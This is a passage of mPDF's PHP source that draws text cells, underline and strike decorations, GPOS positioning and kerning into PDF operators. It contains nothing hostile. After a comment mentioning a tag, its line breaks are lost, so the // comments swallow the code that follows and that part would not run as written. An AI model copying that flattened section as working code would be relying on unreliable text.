				$s .= sprintf('%.3F %.3F m %.3F %.3F l S ', $x * Mpdf::SCALE, ($this->h - $bord_boxtop) * Mpdf::SCALE, ($x + $w) * Mpdf::SCALE, ($this->h - $bord_boxtop) * Mpdf::SCALE);
			}

			if (is_int(strpos($border, 'R'))) {
				$s .= sprintf('%.3F %.3F m %.3F %.3F l S ', ($x + $w) * Mpdf::SCALE, ($this->h - $bord_boxtop) * Mpdf::SCALE, ($x + $w) * Mpdf::SCALE, ($this->h - ($bord_boxbottom)) * Mpdf::SCALE);
			}

			if (is_int(strpos($border, 'B'))) {
				$s .= sprintf('%.3F %.3F m %.3F %.3F l S ', $x * Mpdf::SCALE, ($this->h - ($bord_boxbottom)) * Mpdf::SCALE, ($x + $w) * Mpdf::SCALE, ($this->h - ($bord_boxbottom)) * Mpdf::SCALE);
			}
		}

		if ($txt != '') {

			if ($exactWidth) {
				$stringWidth = $w;
			} else {
				$stringWidth = $this->GetStringWidth($txt, true, $OTLdata, $textvar) + ( $this->charspacing * mb_strlen($txt, $this->mb_enc) / Mpdf::SCALE ) + ( $this->ws * mb_substr_count($txt, ' ', $this->mb_enc) / Mpdf::SCALE );
			}

			// Set x OFFSET FOR PRINTING
			if ($align == 'R') {
				$dx = $w - $this->cMarginR - $stringWidth - $lcpaddingR;
			} elseif ($align == 'C') {
				$dx = (($w - $stringWidth ) / 2);
			} elseif ($align == 'L' or $align == 'J') {
				$dx = $this->cMarginL + $lcpaddingL;
			} else {
				$dx = 0;
			}

			if ($this->ColorFlag) {
				$s .='q ' . $this->TextColor . ' ';
			}

			// OUTLINE
			if (isset($this->textparam['outline-s']) && $this->textparam['outline-s'] && !($textvar & TextVars::FC_SMALLCAPS)) { // mPDF 5.7.1
				$s .=' ' . sprintf('%.3F w', $this->LineWidth * Mpdf::SCALE) . ' ';
				$s .=" $this->DrawColor ";
				$s .=" 2 Tr ";
			} elseif ($this->falseBoldWeight && strpos($this->ReqFontStyle, "B") !== false && strpos($this->FontStyle, "B") === false && !($textvar & TextVars::FC_SMALLCAPS)) { // can't use together with OUTLINE or Small Caps	// mPDF 5.7.1	??? why not with SmallCaps ???
				$s .= ' 2 Tr 1 J 1 j ';
				$s .= ' ' . sprintf('%.3F w', ($this->FontSize / 130) * Mpdf::SCALE * $this->falseBoldWeight) . ' ';
				$tc = strtoupper($this->TextColor); // change 0 0 0 rg to 0 0 0 RG
				if ($this->FillColor != $tc) {
					$s .= ' ' . $tc . ' ';
				}  // stroke (outline) = same colour as text(fill)
			} else {
				$s .=" 0 Tr ";
			}

			if (strpos($this->ReqFontStyle, "I") !== false && strpos($this->FontStyle, "I") === false) { // Artificial italic
				$aix = '1 0 0.261799 1 %.3F %.3F Tm ';
			} else {
				$aix = '%.3F %.3F Td ';
			}

			$px = ($this->x + $dx) * Mpdf::SCALE;
			$py = ($this->h - ($this->y + $glyphYorigin - $baseline_shift)) * Mpdf::SCALE;

			// THE TEXT
			$txt2 = $txt;
			$sub = '';
			$this->CurrentFont['used'] = true;

			/*             * ************** SIMILAR TO Text() ************************ */

			// IF corefonts AND NOT SmCaps AND NOT Kerning
			// Just output text; charspacing and wordspacing already set by charspacing (Tc) and ws (Tw)
			if ($this->usingCoreFont && !($textvar & TextVars::FC_SMALLCAPS) && !($textvar & TextVars::FC_KERNING)) {
				$txt2 = $this->writer->escape($txt2);
				$sub .= sprintf('BT ' . $aix . ' (%s) Tj ET', $px, $py, $txt2);
			} // IF NOT corefonts AND NO wordspacing AND NOT SIP/SMP AND NOT SmCaps AND NOT Kerning AND NOT OTL
			// Just output text
			elseif (!$this->usingCoreFont && !$this->ws && !($textvar & TextVars::FC_SMALLCAPS) && !($textvar & TextVars::FC_KERNING) && !(isset($this->CurrentFont['useOTL']) && ($this->CurrentFont['useOTL'] & 0xFF) && !empty($OTLdata['GPOSinfo']))) {
				// IF SIP/SMP
				if ((isset($this->CurrentFont['sip']) && $this->CurrentFont['sip']) || (isset($this->CurrentFont['smp']) && $this->CurrentFont['smp'])) {
					$txt2 = $this->UTF8toSubset($txt2);
					$sub .=sprintf('BT ' . $aix . ' %s Tj ET', $px, $py, $txt2);
				} // NOT SIP/SMP
				else {
					$txt2 = $this->writer->utf8ToUtf16BigEndian($txt2, false);
					$txt2 = $this->writer->escape($txt2);
					$sub .=sprintf('BT ' . $aix . ' (%s) Tj ET', $px, $py, $txt2);
				}
			} // IF NOT corefonts AND IS wordspacing AND NOT SIP AND NOT SmCaps AND NOT Kerning AND NOT OTL
			// Output text word by word with an adjustment to the intercharacter spacing for SPACEs to form word spacing
			// IF multibyte - Tw has no effect - need to do word spacing using an adjustment before each space
			elseif (!$this->usingCoreFont && $this->ws && !((isset($this->CurrentFont['sip']) && $this->CurrentFont['sip']) || (isset($this->CurrentFont['smp']) && $this->CurrentFont['smp'])) && !($textvar & TextVars::FC_SMALLCAPS) && !($textvar & TextVars::FC_KERNING) && !(isset($this->CurrentFont['useOTL']) && ($this->CurrentFont['useOTL'] & 0xFF) && (!empty($OTLdata['GPOSinfo']) || (strpos($OTLdata['group'], 'M') !== false && $this->charspacing)) )) {
				$space = " ";
				$space = $this->writer->utf8ToUtf16BigEndian($space, false);
				$space = $this->writer->escape($space);
				$sub .=sprintf('BT ' . $aix . ' %.3F Tc [', $px, $py, $this->charspacing);
				$t = explode(' ', $txt2);
				$numt = count($t);
				for ($i = 0; $i < $numt; $i++) {
					$tx = $t[$i];
					$tx = $this->writer->utf8ToUtf16BigEndian($tx, false);
					$tx = $this->writer->escape($tx);
					$sub .=sprintf('(%s) ', $tx);
					if (($i + 1) < $numt) {
						$adj = -($this->ws) * 1000 / $this->FontSizePt;
						$sub .=sprintf('%d(%s) ', $adj, $space);
					}
				}
				$sub .='] TJ ';
				$sub .=' ET';
			} // ELSE (IF SmCaps || Kerning || OTL) [corefonts or not corefonts; SIP or SMP or BMP]
			else {
				$sub = $this->applyGPOSpdf($txt, $aix, $px, $py, $OTLdata, $textvar);
			}

			/** ************** END SIMILAR TO Text() ************************ */

			if ($this->shrin_k > 1) {
				$shrin_k = $this->shrin_k;
			} else {
				$shrin_k = 1;
			}

			// UNDERLINE
			if ($textvar & TextVars::FD_UNDERLINE) { // mPDF 5.7.1	// mPDF 6

				// mPDF 5.7.3  inline text-decoration parameters

				$c = isset($this->textparam['u-decoration']['color']) ? $this->textparam['u-decoration']['color'] : '';
				if ($this->FillColor != $c) {
					$sub .= ' ' . $c . ' ';
				}

				// mPDF 5.7.3  inline text-decoration parameters
				$decorationfontkey = isset($this->textparam['u-decoration']['fontkey']) ? $this->textparam['u-decoration']['fontkey'] : '';
				$decorationfontsize = isset($this->textparam['u-decoration']['fontsize']) ? $this->textparam['u-decoration']['fontsize'] / $shrin_k : 0;

				if (isset($this->fonts[$decorationfontkey]['ut']) && $this->fonts[$decorationfontkey]['ut']) {
					$ut = $this->fonts[$decorationfontkey]['ut'] / 1000 * $decorationfontsize;
				} else {
					$ut = 60 / 1000 * $decorationfontsize;
				}

				if (isset($this->fonts[$decorationfontkey]['up']) && $this->fonts[$decorationfontkey]['up']) {
					$up = $this->fonts[$decorationfontkey]['up'];
				} else {
					$up = -100;
				}

				$adjusty = (-$up / 1000 * $decorationfontsize) + $ut / 2;
				$ubaseline = isset($this->textparam['u-decoration']['baseline'])
					? $glyphYorigin - $this->textparam['u-decoration']['baseline'] / $shrin_k
					: $glyphYorigin;

				$olw = $this->LineWidth;

				$sub .= ' ' . (sprintf(' %.3F w 0 j 0 J ', $ut * Mpdf::SCALE));
				$sub .= ' ' . $this->_dounderline($this->x + $dx, $this->y + $ubaseline + $adjusty, $txt, $OTLdata, $textvar);
				$sub .= ' ' . (sprintf(' %.3F w 2 j 2 J ', $olw * Mpdf::SCALE));

				if ($this->FillColor != $c) {
					$sub .= ' ' . $this->FillColor . ' ';
				}
			}

			// STRIKETHROUGH
			if ($textvar & TextVars::FD_LINETHROUGH) { // mPDF 5.7.1	// mPDF 6

				// mPDF 5.7.3  inline text-decoration parameters
				$c = $this->textparam['s-decoration']['color'];

				if ($this->FillColor != $c) {
					$sub .= ' ' . $c . ' ';
				}

				// mPDF 5.7.3  inline text-decoration parameters
				$decorationfontkey = $this->textparam['s-decoration']['fontkey'];
				$decorationfontsize = $this->textparam['s-decoration']['fontsize'] / $shrin_k;

				// Use yStrikeoutSize from OS/2 if available
				if (isset($this->fonts[$decorationfontkey]['strs']) && $this->fonts[$decorationfontkey]['strs']) {
					$ut = $this->fonts[$decorationfontkey]['strs'] / 1000 * $decorationfontsize;
				} // else use underlineThickness from post if available
				elseif (isset($this->fonts[$decorationfontkey]['ut']) && $this->fonts[$decorationfontkey]['ut']) {
					$ut = $this->fonts[$decorationfontkey]['ut'] / 1000 * $decorationfontsize;
				} else {
					$ut = 50 / 1000 * $decorationfontsize;
				}

				// Use yStrikeoutPosition from OS/2 if available
				if (isset($this->fonts[$decorationfontkey]['strp']) && $this->fonts[$decorationfontkey]['strp']) {
					$up = $this->fonts[$decorationfontkey]['strp'];
					$adjusty = (-$up / 1000 * $decorationfontsize);
				} // else use a fraction ($this->baselineS) of CapHeight
				else {
					if (isset($this->fonts[$decorationfontkey]['desc']['CapHeight']) && $this->fonts[$decorationfontkey]['desc']['CapHeight']) {
						$ch = $this->fonts[$decorationfontkey]['desc']['CapHeight'];
					} else {
						$ch = 700;
					}
					$adjusty = (-$ch / 1000 * $decorationfontsize) * $this->baselineS;
				}

				$sbaseline = $glyphYorigin - $this->textparam['s-decoration']['baseline'] / $shrin_k;

				$olw = $this->LineWidth;

				$sub .=' ' . (sprintf(' %.3F w 0 j 0 J ', $ut * Mpdf::SCALE));
				$sub .=' ' . $this->_dounderline($this->x + $dx, $this->y + $sbaseline + $adjusty, $txt, $OTLdata, $textvar);
				$sub .=' ' . (sprintf(' %.3F w 2 j 2 J ', $olw * Mpdf::SCALE));

				if ($this->FillColor != $c) {
					$sub .= ' ' . $this->FillColor . ' ';
				}
			}

			// mPDF 5.7.3  inline text-decoration parameters
			// OVERLINE
			if ($textvar & TextVars::FD_OVERLINE) { // mPDF 5.7.1	// mPDF 6
				// mPDF 5.7.3  inline text-decoration parameters
				$c = $this->textparam['o-decoration']['color'];
				if ($this->FillColor != $c) {
					$sub .= ' ' . $c . ' ';
				}

				// mPDF 5.7.3  inline text-decoration parameters
				$decorationfontkey = (int) (((float) $this->textparam['o-decoration']['fontkey']) / $shrin_k);
				$decorationfontsize = $this->textparam['o-decoration']['fontsize'];

				if (isset($this->fonts[$decorationfontkey]['ut']) && $this->fonts[$decorationfontkey]['ut']) {
					$ut = $this->fonts[$decorationfontkey]['ut'] / 1000 * $decorationfontsize;
				} else {
					$ut = 60 / 1000 * $decorationfontsize;
				}
				if (isset($this->fonts[$decorationfontkey]['desc']['CapHeight']) && $this->fonts[$decorationfontkey]['desc']['CapHeight']) {
					$ch = $this->fonts[$decorationfontkey]['desc']['CapHeight'];
				} else {
					$ch = 700;
				}
				$adjusty = (-$ch / 1000 * $decorationfontsize) * $this->baselineO;
				$obaseline = $glyphYorigin - $this->textparam['o-decoration']['baseline'] / $shrin_k;
				$olw = $this->LineWidth;
				$sub .=' ' . (sprintf(' %.3F w 0 j 0 J ', $ut * Mpdf::SCALE));
				$sub .=' ' . $this->_dounderline($this->x + $dx, $this->y + $obaseline + $adjusty, $txt, $OTLdata, $textvar);
				$sub .=' ' . (sprintf(' %.3F w 2 j 2 J ', $olw * Mpdf::SCALE));
				if ($this->FillColor != $c) {
					$sub .= ' ' . $this->FillColor . ' ';
				}
			}

			// TEXT SHADOW
			if ($this->textshadow) {  // First to process is last in CSS comma separated shadows
				foreach ($this->textshadow as $ts) {
					$s .= ' q ';
					$s .= $this->SetTColor($ts['col'], true) . "\n";
					if ($ts['col'][0] == 5 && ord($ts['col'][4]) < 100) { // RGBa
						$s .= $this->SetAlpha(ord($ts['col'][4]) / 100, 'Normal', true, 'F') . "\n";
					} elseif ($ts['col'][0] == 6 && ord($ts['col'][5]) < 100) { // CMYKa
						$s .= $this->SetAlpha(ord($ts['col'][5]) / 100, 'Normal', true, 'F') . "\n";
					} elseif ($ts['col'][0] == 1 && $ts['col'][2] == 1 && ord($ts['col'][3]) < 100) { // Gray
						$s .= $this->SetAlpha(ord($ts['col'][3]) / 100, 'Normal', true, 'F') . "\n";
					}
					$s .= sprintf(' 1 0 0 1 %.4F %.4F cm', $ts['x'] * Mpdf::SCALE, -$ts['y'] * Mpdf::SCALE) . "\n";
					$s .= $sub;
					$s .= ' Q ';
				}
			}

			$s .= $sub;

			// COLOR
			if ($this->ColorFlag) {
				$s .=' Q';
			}

			// LINK
			if ($link != '') {
				$this->Link($this->x, $boxtop, $w, $boxheight, $link);
			}
		}
		if ($s) {
			$this->writer->write($s);
		}

		// WORD SPACING
		if ($this->ws && !$this->usingCoreFont) {
			$this->writer->write(sprintf('BT %.3F Tc ET', $this->charspacing));
		}
		$this->lasth = $h;
		if (strpos($txt, "\n") !== false) {
			$ln = 1; // cell recognizes \n from 
tag } if ($ln > 0) { // Go to next line $this->y += $h; if ($ln == 1) { // Move to next line if ($currentx != 0) { $this->x = $currentx; } else { $this->x = $this->lMargin; } } } else { $this->x+=$w; } } function applyGPOSpdf($txt, $aix, $x, $y, $OTLdata, $textvar = 0) { // Generate PDF string // ============================== if ((isset($this->CurrentFont['sip']) && $this->CurrentFont['sip']) || (isset($this->CurrentFont['smp']) && $this->CurrentFont['smp'])) { $sipset = true; } else { $sipset = false; } if ($textvar & TextVars::FC_SMALLCAPS) { $smcaps = true; } // IF SmallCaps using transformation, NOT OTL else { $smcaps = false; } if ($sipset) { $fontid = $last_fontid = $original_fontid = $this->CurrentFont['subsetfontids'][0]; } else { $fontid = $last_fontid = $original_fontid = $this->CurrentFont['i']; } $SmallCapsON = false; // state: uppercase/not $lastSmallCapsON = false; // state: uppercase/not $last_fontsize = $fontsize = $this->FontSizePt; $last_fontstretch = $fontstretch = 100; $groupBreak = false; $unicode = $this->UTF8StringToArray($txt); $GPOSinfo = (isset($OTLdata['GPOSinfo']) ? $OTLdata['GPOSinfo'] : []); $charspacing = ($this->charspacing * 1000 / $this->FontSizePt); $wordspacing = ($this->ws * 1000 / $this->FontSizePt); $XshiftBefore = 0; $XshiftAfter = 0; $lastYPlacement = 0; if ($sipset) { // mPDF 6 DELETED ******** // $txt= preg_replace('/'.preg_quote($this->aliasNbPg,'/').'/', chr(7), $txt); // ? Need to adjust OTL info // $txt= preg_replace('/'.preg_quote($this->aliasNbPgGp,'/').'/', chr(8), $txt); // ? Need to adjust OTL info $tj = '<'; } else { $tj = '('; } for ($i = 0; $i < count($unicode); $i++) { $c = $unicode[$i]; $tx = ''; $XshiftBefore = $XshiftAfter; $XshiftAfter = 0; $YPlacement = 0; $groupBreak = false; $kashida = 0; if (!empty($OTLdata)) { // YPlacement from GPOS if (isset($GPOSinfo[$i]['YPlacement']) && $GPOSinfo[$i]['YPlacement']) { $YPlacement = $GPOSinfo[$i]['YPlacement'] * $this->FontSizePt / $this->CurrentFont['unitsPerEm']; $groupBreak = true; } // XPlacement from GPOS if (isset($GPOSinfo[$i]['XPlacement']) && $GPOSinfo[$i]['XPlacement']) { if (!isset($GPOSinfo[$i]['wDir']) || $GPOSinfo[$i]['wDir'] != 'RTL') { if (isset($GPOSinfo[$i]['BaseWidth'])) { $GPOSinfo[$i]['XPlacement'] -= $GPOSinfo[$i]['BaseWidth']; } } // Convert to PDF Text space (thousandths of a unit ); $XshiftBefore += $GPOSinfo[$i]['XPlacement'] * 1000 / $this->CurrentFont['unitsPerEm']; $XshiftAfter += -$GPOSinfo[$i]['XPlacement'] * 1000 / $this->CurrentFont['unitsPerEm']; } // Kashida from GPOS // Kashida is set as an absolute length value, but to adjust text needs to be converted to // font-related size if (isset($GPOSinfo[$i]['kashida_space']) && $GPOSinfo[$i]['kashida_space']) { $kashida = $GPOSinfo[$i]['kashida_space']; } if ($c == 32) { // word spacing $XshiftAfter += $wordspacing; } if (substr($OTLdata['group'], ($i + 1), 1) != 'M') { // Don't add inter-character spacing before Marks $XshiftAfter += $charspacing; } // ...applyGPOSpdf... // XAdvance from GPOS - Convert to PDF Text space (thousandths of a unit ); if (((isset($GPOSinfo[$i]['wDir']) && $GPOSinfo[$i]['wDir'] != 'RTL') || !isset($GPOSinfo[$i]['wDir'])) && isset($GPOSinfo[$i]['XAdvanceL']) && $GPOSinfo[$i]['XAdvanceL']) { $XshiftAfter += $GPOSinfo[$i]['XAdvanceL'] * 1000 / $this->CurrentFont['unitsPerEm']; } elseif (isset($GPOSinfo[$i]['wDir']) && $GPOSinfo[$i]['wDir'] == 'RTL' && isset($GPOSinfo[$i]['XAdvanceR']) && $GPOSinfo[$i]['XAdvanceR']) { $XshiftAfter += $GPOSinfo[$i]['XAdvanceR'] * 1000 / $this->CurrentFont['unitsPerEm']; } } // Character & Word spacing - if NOT OTL else { $XshiftAfter += $charspacing; if ($c == 32) { $XshiftAfter += $wordspacing; } } // IF Kerning done using pairs rather than OTL if ($textvar & TextVars::FC_KERNING) { if ($i > 0 && isset($this->CurrentFont['kerninfo'][$unicode[($i - 1)]][$unicode[$i]])) { $XshiftBefore += $this->CurrentFont['kerninfo'][$unicode[($i - 1)]][$unicode[$i]]; } } if ($YPlacement != $lastYPlacement) { $groupBreak = true; } if ($XshiftBefore) { // +ve value in PDF moves to the left // If Fontstretch is ongoing, need to adjust X adjustments because these will be stretched out. $XshiftBefore *= 100 / $last_fontstretch; if ($sipset) { $tj .= sprintf('>%d<', (-$XshiftBefore)); } else { $tj .= sprintf(')%d(', (-$XshiftBefore)); } } // Small-Caps if ($smcaps) { if (isset($this->upperCase[$c])) { $c = $this->upperCase[$c]; // $this->CurrentFont['subset'][$this->upperCase[$c]] = $this->upperCase[$c]; // add the CAP to subset $SmallCapsON = true; // For $sipset if (!$lastSmallCapsON) { // Turn ON SmallCaps $groupBreak = true; $fontstretch = $this->smCapsStretch; $fontsize = $this->FontSizePt * $this->smCapsScale; } } else { $SmallCapsON = false; if ($lastSmallCapsON) { // Turn OFF SmallCaps $groupBreak = true; $fontstretch = 100; $fontsize = $this->FontSizePt; } } } // Prepare Text and Select Font ID if ($sipset) { // mPDF 6 DELETED ******** // if ($c == 7 || $c == 8) { // if ($original_fontid != $last_fontid) { // $groupBreak = true; // $fontid = $original_fontid; // } // if ($c == 7) { $tj .= $this->aliasNbPgHex; } // else { $tj .= $this->aliasNbPgGpHex; } // continue; // } for ($j = 0; $j < 99; $j++) { $init = array_search($c, $this->CurrentFont['subsets'][$j]); if ($init !== false) { if ($this->CurrentFont['subsetfontids'][$j] != $last_fontid) { $groupBreak = true; $fontid = $this->CurrentFont['subsetfontids'][$j]; } $tx = sprintf("%02s", strtoupper(dechex($init))); break; } elseif (count($this->CurrentFont['subsets'][$j]) < 255) { $n = count($this->CurrentFont['subsets'][$j]); $this->CurrentFont['subsets'][$j][$n] = $c; if ($this->CurrentFont['subsetfontids'][$j] != $last_fontid) { $groupBreak = true; $fontid = $this->CurrentFont['subsetfontids'][$j]; } $tx = sprintf("%02s", strtoupper(dechex($n))); break; } elseif (!isset($this->CurrentFont['subsets'][($j + 1)])) { $this->CurrentFont['subsets'][($j + 1)] = [0 => 0]; $this->CurrentFont['subsetfontids'][($j + 1)] = count($this->fonts) + $this->extraFontSubsets + 1; $this->extraFontSubsets++; } } } else { $tx = UtfString::code2utf($c); if ($this->usingCoreFont) { $tx = utf8_decode($tx); } else { $tx = $this->writer->utf8ToUtf16BigEndian($tx, false); } $tx = $this->writer->escape($tx); } // If any settings require a new Text Group if ($groupBreak || $fontstretch != $last_fontstretch) { if ($sipset) { $tj .= '>] TJ '; } else { $tj .= ')] TJ '; } if ($fontid != $last_fontid || $fontsize != $last_fontsize) { $tj .= sprintf(' /F%d %.3F Tf ', $fontid, $fontsize); } if ($fontstretch != $last_fontstretch) { $tj .= sprintf('%d Tz ', $fontstretch); } if ($YPlacement != $lastYPlacement) { $tj .= sprintf('%.3F Ts ', $YPlacement); } if ($sipset) { $tj .= '[<'; } else { $tj .= '[('; } } // Output the code for the txt character $tj .= $tx; $lastSmallCapsON = $SmallCapsON; $last_fontid = $fontid; $last_fontsize = $fontsize; $last_fontstretch = $fontstretch; // Kashida if ($kashida) { $c = 0x0640; // add the Tatweel U+0640 if (isset($this->CurrentFont['subset'])) { $this->CurrentFont['subset'][$c] = $c; } $kashida *= 1000 / $this->FontSizePt; $tatw = $this->_getCharWidth($this->CurrentFont['cw'], 0x0640); // Get YPlacement from next Base character $nextbase = $i + 1; while ($OTLdata['group'][$nextbase] != 'C') { $nextbase++; } if (isset($GPOSinfo[$nextbase]) && isset($GPOSinfo[$nextbase]['YPlacement']) && $GPOSinfo[$nextbase]['YPlacement']) { $YPlacement = $GPOSinfo[$nextbase]['YPlacement'] * $this->FontSizePt / $this->CurrentFont['unitsPerEm']; } // Prepare Text and Select Font ID if ($sipset) { for ($j = 0; $j < 99; $j++) { $init = array_search($c, $this->CurrentFont['subsets'][$j]); if ($init !== false) { if ($this->CurrentFont['subsetfontids'][$j] != $last_fontid) { $fontid = $this->CurrentFont['subsetfontids'][$j]; } $tx = sprintf("%02s", strtoupper(dechex($init))); break; } elseif (count($this->CurrentFont['subsets'][$j]) < 255) { $n = count($this->CurrentFont['subsets'][$j]); $this->CurrentFont['subsets'][$j][$n] = $c; if ($this->CurrentFont['subsetfontids'][$j] != $last_fontid) { $fontid = $this->CurrentFont['subsetfontids'][$j]; } $tx = sprintf("%02s", strtoupper(dechex($n))); break; } elseif (!isset($this->CurrentFont['subsets'][($j + 1)])) { $this->CurrentFont['subsets'][($j + 1)] = [0 => 0]; $this->CurrentFont['subsetfontids'][($j + 1)] = count($this->fonts) + $this->extraFontSubsets + 1; $this->extraFontSubsets++; } } } else { $tx = UtfString::code2utf($c); $tx = $this->writer->utf8ToUtf16BigEndian($tx, false); $tx = $this->writer->escape($tx); } if ($kashida > $tatw) { // Insert multiple tatweel characters, repositioning the last one to give correct total length $fontstretch = 100; $nt = intval($kashida / $tatw); $nudgeback = (($nt + 1) * $tatw) - $kashida; $optx = str_repeat($tx, $nt); if ($sipset) { $optx .= sprintf('>%d<', ($nudgeback)); } else { $optx .= sprintf(')%d(', ($nudgeback)); } $optx .= $tx; // #last } else { // Insert single tatweel character and use fontstretch to get correct length $fontstretch = ($kashida / $tatw) * 100; $optx = $tx; } if ($sipset) { $tj .= '>] TJ '; } else { $tj .= ')] TJ '; } if ($fontid != $last_fontid || $fontsize != $last_fontsize) { $tj .= sprintf(' /F%d %.3F Tf ', $fontid, $fontsize); } if ($fontstretch != $last_fontstretch) { $tj .= sprintf('%d Tz ', $fontstretch); } $tj .= sprintf('%.3F Ts ', $YPlacement); if ($sipset) { $tj .= '[<'; } else { $tj .= '[('; } // Output the code for the txt character(s) $tj .= $optx; $last_fontid = $fontid; $last_fontstretch = $fontstretch; $fontstretch = 100; } $lastYPlacement = $YPlacement; } // Finish up if ($sipset) { $tj .= '>'; if ($XshiftAfter) { $tj .= sprintf('%d', (-$XshiftAfter)); } if ($last_fontid != $original_fontid) { $tj .= '] TJ '; $tj .= sprintf(' /F%d %.3F Tf ', $original_fontid, $fontsize); $tj .= '['; } $tj = preg_replace('/([^\\\])<>/', '\\1 ', $tj); } else { $tj .= ')'; if ($XshiftAfter) { $tj .= sprintf('%d', (-$XshiftAfter)); } if ($last_fontid != $original_fontid) { $tj .= '] TJ '; $tj .= sprintf(' /F%d %.3F Tf ', $original_fontid, $fontsize); $tj .= '['; } $tj = preg_replace('/([^\\\])\(\)/', '\\1 ', $tj); } $s = sprintf(' BT ' . $aix . ' 0 Tc 0 Tw [%s] TJ ET ', $x, $y, $tj); // echo $s."\n\n"; // exit; return $s; } function _kern($txt, $mode, $aix, $x, $y) { if ($mode == 'MBTw') { // Multibyte requiring word spacing $space = ' '; // Convert string to UTF-16BE without BOM $space = $this->writer->utf8ToUtf16BigEndian($space, false); $space = $this->writer->escape($space); $s = sprintf(' BT ' . $aix, $x * Mpdf::SCALE, ($this->h - $y) * Mpdf::SCALE); $t = explode(' ', $txt); for ($i = 0; $i < count($t); $i++) { $tx = $t[$i]; $tj = '('; $unicode = $this->UTF8StringToArray($tx); for ($ti = 0; $ti < count($unicode); $ti++) { if ($ti > 0 && isset($this->CurrentFont['kerninfo'][$unicode[($ti - 1)]][$unicode[$ti]])) { $kern = -$this->CurrentFont['kerninfo'][$unicode[($ti - 1)]][$unicode[$ti]]; $tj .= sprintf(')%d(', $kern); } $tc = UtfString::code2utf($unicode[$ti]); $tc = $this->writer->utf8ToUtf16BigEndian($tc, false); $tj .= $this->writer->escape($tc); } $tj .= ')'; $s .= sprintf(' %.3F Tc [%s] TJ', $this->charspacing, $tj); if (($i + 1) < count($t)) { $s .= sprintf(' %.3F Tc (%s) Tj', $this->ws + $this->charspacing, $space); } } $s .= ' ET '; } elseif (!$this->usingCoreFont) { $s = ''; $tj = '('; $unicode = $this->UTF8StringToArray($txt); for ($i = 0; $i < count($unicode); $i++) { if ($i > 0 && isset($this->CurrentFont['kerninfo'][$unicode[($i - 1)]][$unicode[$i]])) { $kern = -$this->CurrentFont['kerninfo'][$unicode[($i - 1)]][$unicode[$i]]; $tj .= sprintf(')%d(', $kern); } $tx = UtfString::code2utf($unicode[$i]); $tx = $this->writer->utf8ToUtf16BigEndian($tx, false); $tj .= $this->writer->escape($tx); } $tj .= ')'; $s .= sprintf(' BT ' . $aix . ' [%s] TJ ET ', $x * Mpdf::SCALE, ($this->h - $y) * Mpdf::SCALE, $tj); } else { // CORE Font $s = ''; $tj = '('; $l = strlen($txt); for ($i = 0; $i < $l; $i++) { if ($i > 0 && isset($this->CurrentFont['kerninfo'][$txt[($i - 1)]][$txt[$i]])) { $kern = -$this->CurrentFont['kerninfo'][$txt[($i - 1)]][$txt[$i]]; $tj .= sprintf(')%d(', $kern); } $tj .= $this->writer->escape($txt[$i]); } $tj .= ')'; $s .= sprintf(' BT ' . $aix . ' [%s] TJ ET ', $x * Mpdf::SCALE, ($this->h - $y) * Mpdf::SCALE, $tj); } return $s; } function MultiCell($w, $h, $txt, $border = 0, $align = '', $fill = 0, $link = '', $directionality = 'ltr', $encoded = false, $OTLdata = false, $maxrows = false) { // maxrows is called from mpdfform->TEXTAREA // Parameter (pre-)encoded - When called internally from form::textarea - mb_encoding already done and OTL - but not reverse RTL if (!$encoded) { $txt = $this->purify_utf8_text($txt); if ($this->text_input_as_HTML) { $txt = $this->all_entities_to_utf8($txt); } if ($this->usingCoreFont) { $txt = mb_convert_encoding($txt, $this->mb_enc, 'UTF-8'); } if (preg_match("/([" . $this->pregRTLchars . "])/u", $txt)) { $this->biDirectional = true; } // *OTL* /* -- OTL -- */ $OTLdata = []; // Use OTL OpenType Table Layout - GSUB & GPOS if (isset($this->CurrentFont['useOTL']) && $this->CurrentFont['useOTL']) { $txt = $this->otl->applyOTL($txt, $this->CurrentFont['useOTL']); $OTLdata = $this->otl->OTLdata; } if ($directionality == 'rtl' || $this->biDirectional) { if (!isset($OTLdata)) { $unicode = $this->UTF8StringToArray($txt, false); $is_strong = false; $this->getBasicOTLdata($OTLdata, $unicode, $is_strong); } } /* -- END OTL -- */ } if (!$align) { $align = $this->defaultAlign; } // Output text with automatic or explicit line breaks $cw = &$this->CurrentFont['cw']; if ($w == 0) { $w = $this->w - $this->rMargin - $this->x; } $wmax = ($w - ($this->cMarginL + $this->cMarginR)); if ($this->usingCoreFont) { $s = str_replace("\r", '', $txt); $nb = strlen($s); while ($nb > 0 and $s[$nb - 1] == "\n") { $nb--; } } else { $s = str_replace("\r", '', $txt); $nb = mb_strlen($s, $this->mb_enc); while ($nb > 0 and mb_substr($s, $nb - 1, 1, $this->mb_enc) == "\n") { $nb--; } } $b = 0; if ($border) { if ($border == 1) { $border = 'LTRB'; $b = 'LRT'; $b2 = 'LR'; } else { $b2 = ''; if (is_int(strpos($border, 'L'))) { $b2 .= 'L'; } if (is_int(strpos($border, 'R'))) { $b2 .= 'R'; } $b = is_int(strpos($border, 'T')) ? $b2 . 'T' : $b2; } } $sep = -1; $i = 0; $j = 0; $l = 0; $ns = 0; $nl = 1; $rows = 0; $start_y = $this->y; if (!$this->usingCoreFont) { $inclCursive = false; if (preg_match("/([" . $this->pregCURSchars . "])/u", $s)) { $inclCursive = true; } while ($i < $nb) { // Get next character $c = mb_substr($s, $i, 1, $this->mb_enc); if ($c == "\n") { // Explicit line break // WORD SPACING $this->ResetSpacing(); $tmp = rtrim(mb_substr($s, $j, $i - $j, $this->mb_enc)); $tmpOTLdata = false; /* -- OTL -- */ if (isset($OTLdata)) { $tmpOTLdata = $this->otl->sliceOTLdata($OTLdata, $j, $i - $j); $this->otl->trimOTLdata($tmpOTLdata, false, true); $this->magic_reverse_dir($tmp, $directionality, $tmpOTLdata); } /* -- END OTL -- */ $this->Cell($w, $h, $tmp, $b, 2, $align, $fill, $link, 0, 0, 0, 'M', 0, false, $tmpOTLdata); if ($maxrows != false && isset($this->form) && ($this->y - $start_y) / $h > $maxrows) { return false; } $i++; $sep = -1; $j = $i; $l = 0; $ns = 0; $nl++; if ($border and $nl == 2) { $b = $b2; } continue; } if ($c == " ") { $sep = $i; $ls = $l; $ns++; } $l += $this->GetCharWidthNonCore($c); if ($l > $wmax) { // Automatic line break if ($sep == -1) { // Only one word if ($i == $j) { $i++; } // WORD SPACING $this->ResetSpacing(); $tmp = rtrim(mb_substr($s, $j, $i - $j, $this->mb_enc)); $tmpOTLdata = false; /* -- OTL -- */ if (isset($OTLdata)) { $tmpOTLdata = $this->otl->sliceOTLdata($OTLdata, $j, $i - $j); $this->otl->trimOTLdata($tmpOTLdata, false, true); $this->magic_reverse_dir($tmp, $directionality, 